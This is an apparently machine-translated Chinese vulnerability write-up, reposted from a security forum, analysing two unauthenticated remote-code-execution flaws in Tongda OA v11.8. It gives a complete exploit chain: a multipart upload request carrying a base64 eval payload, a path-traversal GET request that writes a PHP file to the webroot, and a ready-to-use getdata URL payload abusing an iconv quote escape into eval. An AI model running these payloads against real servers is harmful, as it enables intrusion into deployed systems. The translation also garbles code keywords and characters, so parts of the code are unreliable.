发布于2025年12月5日12月5日 ## api.ali.php 上传任意文件 ### 受影响的版本 v11.8 ###漏洞复现过程: 该漏洞的原理是通过文件上传的方式上传一个json文件,然后调用一个程序解析该json文件并执行其中的php语句。 首先需要上传一个json文件 完整数据包: ```` POST /mobile/api/api.ali.php HTTP/1.1 主机: 用户代理: Go-http-client/1.1 内容长度: 422 Content-Type: 多部分/表单数据;边界=502f67681799b07e4de6b503655f5cae 接受编码: gzip --502f67681799b07e4de6b503655f5cae Content-Disposition: 表单数据; name='文件';文件名=\'fb6790f4.json\' Content-Type: 应用程序/八位字节流 {\'模块化\':\'AllVariable\',\'a\':\'ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2ZiNjc5MGY0LnBocCcsJzw/cGhwIGVjaG8g dnVsbl90ZXN0Oz8+Jyk7\',\'数据分析\':\'{\\\'a\\\':\\\'Jin',eval(base64_decode($BackData[a]))));/*\\\'}\'} --502f67681799b07e4de6b503655f5cae-- ```` 然后发送get请求写入文件,成功写入webroot目录下的fb6790f4.php,2109是年月。 ```` /inc/package/work.php?id=./././././myoa/attach/approve_center/2109/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4 ```` ###分析过程 文件上传功能在mobile/api/api.ali.php文件中实现。 它包含三个文件:conn.php、api.api.class.php 和utility_file.php。这三个文件负责加载通达的配置信息和常用功能,不涉及权限验证 跟进utility_file.php下的upload() $ATTACH_NAME=filename_valid($ATTACH_NAME); $ATTACH_NAME的值为上传时的文件名 然后会判断上传的文件后缀是否允许,限制php、php3、php5等文件后缀,以及文件名是否合法。没有错误的时候会进入1761行 跟进add_attach(),系统会将我们上传的文件保存在attach/approve_center/2301文件夹下,其中2301是上传的年份和月份 文件名$FILENAME 由两部分组成:$ATTACH_ID 和$ATTACH_FILE。 $ATTACH_ID 是随机生成的数字字符串。通过跟踪发现MYOA_ATTACH_NAME_FORMAT始终为false,所以最终的文件名是随机数+上传的文件名。 通过该功能,您可以将可执行文件以外的文本文件上传到服务器。 ```` $ATTACH_NAME=str_replace($EXT_NAME, strtolower($EXT_NAME), $ATTACH_NAME); $ATTACH_FILE=(MYOA_ATTACH_NAME_FORMAT ? md5($ATTACH_NAME) . \'.td\' : $ATTACH_NAME); $ATTACH_ID=mt_rand(); $文件名=$路径。 \'/\' 。 $ATTACH_ID 。 \'.\' . $附加文件; `` 触发生成php文件的功能点代码文件在/inc/package/work.php下,没有进行认证操作 收到id参数后,进入DataTransport类下的acceptData()。程序首先将用户传入的id拼接到文件路径中,然后执行file_get_contents()读取$json_file指向的文件。 MYOA_ATTACH_PATH2 的值为myoa/attach。问题是$id在路径中拼接了两次,程序没有过滤./。而且,通过上面的分析,我们知道上传到服务器的文件名都是一串9位随机数,我们并没有得到准确的文件名。 linux下可以通过*,这种类型的通配符用于匹配文件名。例如/etc/passwd可以与/etc/pass**匹配成功。也可以通过在file_get_contents()中使用来实现,''用于匹配一个随机生成的9位随机数 file_get_contents() 读取文件时有一些特殊功能。在d盘data文件夹下创建test.txt文件进行测试,使用file_get_contents()读取文件。 ```` file_get_contents(“D:/data/test.txt”) file_get_contents(“D:/aabb/./././././././data/test.txt”) file_get_contents("D:/baba/daad/././hah/das/./././data/test.txt") ```` 这三种FilePath形式最终都能成功读取data/test.txt文件。只要最后一个./后面跟着正确的路径地址,file_get_contents()就可以成功读取文件。 另一个关键部分是跨目录级别的数量必须大于或等于目录级别的数量。 ```` file_get_contents(“D:/MYOA/attach/syn/resc/././attach/syn/resc/././MYOA/attach/syn/recv/test.txt”) file_get_contents("D:/MYOA/attach/syn/resc/././././attach/syn/resc/././././MYOA/attach/syn/recv/test.txt") ```` 第一种写法无法读取test.txt文件,但第二种写法是可以的。你可以根据两者的区别来理解。 现在读取json_file文件的问题已经可以解决了,work.php中传入的id参数为 ```` ./././././myoa/attach/approve_center/2109/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4 ```` 程序读取json文件后,执行AllVariableBusinessProcessing类的backDataAnalysis() 该方法下有一个eval函数来执行代码,$variableData的值是可控的。 ```` $variableData=$BackData[\'数据分析\']; $variableData=json_decode($variableData, true); $variableData=eval \'return \' 。 iconv(\'UTF-8\', \'GBK\', var_export($variableData, true) . \';\'); ```` 至于为什么dataAnalysis是这种格式,我们下面会详细讲。首先是一个演示。 ```` $c='ZWNobyAxMjM0Ow=='; //base64解码为echo 1234; $d='ZWNobyAxMjM7'; //base64解码为echo 123; $a=数组( 'a'='eval(base64_decode($d))', ); $b=数组( 'a'='b',eval(base64_decode($c)));/*', ); ```` 上面的代码中,定义了两个数组a和b。执行后可以看到程序输出了1234,说明$b中的php语句执行成功。只要用户能够控制$b[a]的值,设置$b[a]='b',eval(base64_decode($c)));/*',并将前面的单引号括起来,就可以执行恶意PHP语句。 但是,当调用work.php将json文件的内容读取到$variableData中时,单引号将会被转义。要成功执行PHP 代码,必须对单引号进行转义并以前面的单引号 结束 幸运的是,主角iconv 出手相救。 iconv这里的作用就是将$variableData从UTF-8编码转换为GBK编码。 Jin的UTF-8编码为\\xE9\\x8C\\xA6,GBK编码为\\xB0\\xA1。编码转换后,\\xB0\\xA1会与\\组成一个新字符,单引号成功转义。 ## getdata 任意命令执行 v11.8下还存在前台任意命令执行漏洞。该漏洞的利用方法与上述类似。 ```` Payload: /general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22ZWNobyB2dWxuX3Rlc3Q7%22)))%3B/*id=19module=Carouselimage ```` 漏洞代码位于general/appbuilder目录下,为MVC架构。首先查看web/index.php文件,判断config["params"]["LOGIN_UID"]是否为空。跟进config/web.php文件可以看到config["params"]["LOGIN_UID"]=”” 继续执行会判断是否存在对应LOGIN_UID的会话。当我们没有登录的时候它是不存在的,所以我们会输入下面的else语句。 ```` 否则{ $url=$_SERVER[\'REQUEST_URI\']; $strurl=substr($url, 0, strpos($url, \'?\')); if (strpos($strurl, \'/portal/\') !==false) { if (strpos($strurl, \'/gateway/\')===false) { header(\'Location:/index.php\'); sess_close(); 出口(); } else if (strpos($strurl, \'/gateway/saveportal\') !==false) { header(\'Location:/index.php\'); sess_close(); 出口(); } else if (strpos($url, \'编辑\') !==false) { header(\'Location:/index.php\'); sess_close(); 出口(); } } else if (strpos($url, \'/appdata/doprint\') !==false) { $_GET[\'csrf\']=urldecode($_GET[\'csrf\']); $b_check_csrf=false; if (!empty($_GET[\'csrf\']) preg_match(\'/^\\{([0-9A-Z]|-){36}\\}$/\', $_GET[\'csrf\'])) { $s_tmp=__DIR__ 。 \'/././././logs/appbuilder/logs\'; $s_tmp .=\'/\' 。 $_GET[\'csrf\']; 如果(文件存在($s_tmp)){ $b_check_csrf=true; $b_dir_priv=true; } } 如果(!$b_check_csrf){ header(\'Location:/index.php\'); sess_close(); 出口(); } } 否则{ header(\'Location:/index.php\'); sess_close(); 出口(); } } ```` 通过分析代码可以知道/portal/gateway/**下的路由中只有/potal/gateway/saveportal需要认证,所以这是一个前端RCE。 根据该漏洞的POC,最终在modules/portal/controllers/GatewayController.php中找到该漏洞文件。用户传入module=Carouselimage。程序执行到第2016 行并输入$component-GetDate()。传入的参数中有$activeTab,即需要执行的命令。 跟进modules/portal/models/PortalComponent.php#GetData()。系统通过id查询数据库中的内容。后面会用到$comtype。设置$comtype=1 $comtype=(字符串) $data-comtype; 从数据库的查询结果可以看出,只要设置id=19,就可以控制comtype=1 然后将id、comtype、attribute存放到$this_array中,然后输入data_analysis() ```` $this_array=array(\'id\'=$id, \'来源\'=$来源, \'属性\'=$属性, \'comtype\'=$comtype, .) `` /portal/components/AppDesignComponents.php#data_analysis(),$classname=Carouselimage,当$thisarray[\'comtype\']==\'1\'时,执行到free_components/AppCarouselimage.php#get_data() 从Gateway控制器到AppCarouselimage.php#get_data(),$activeTab没有被处理和过滤, 返回网关控制器。执行$component-GetData()后,将返回一个带有$activeTab参数的数组。 在toUtf8()之后,程序通过eval执行我们的命令。这里也使用了iconv,因此payload构建原理与上面分析的相同 转载自先知社区:https://xz.aliyun.com/t/13175?time__1311=mqmxnDBDcD27I405DIYqCuWpWeV70iDalichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F1%3Fpage%3D2 作者:1537871692507722
创建帐户或登录后发表意见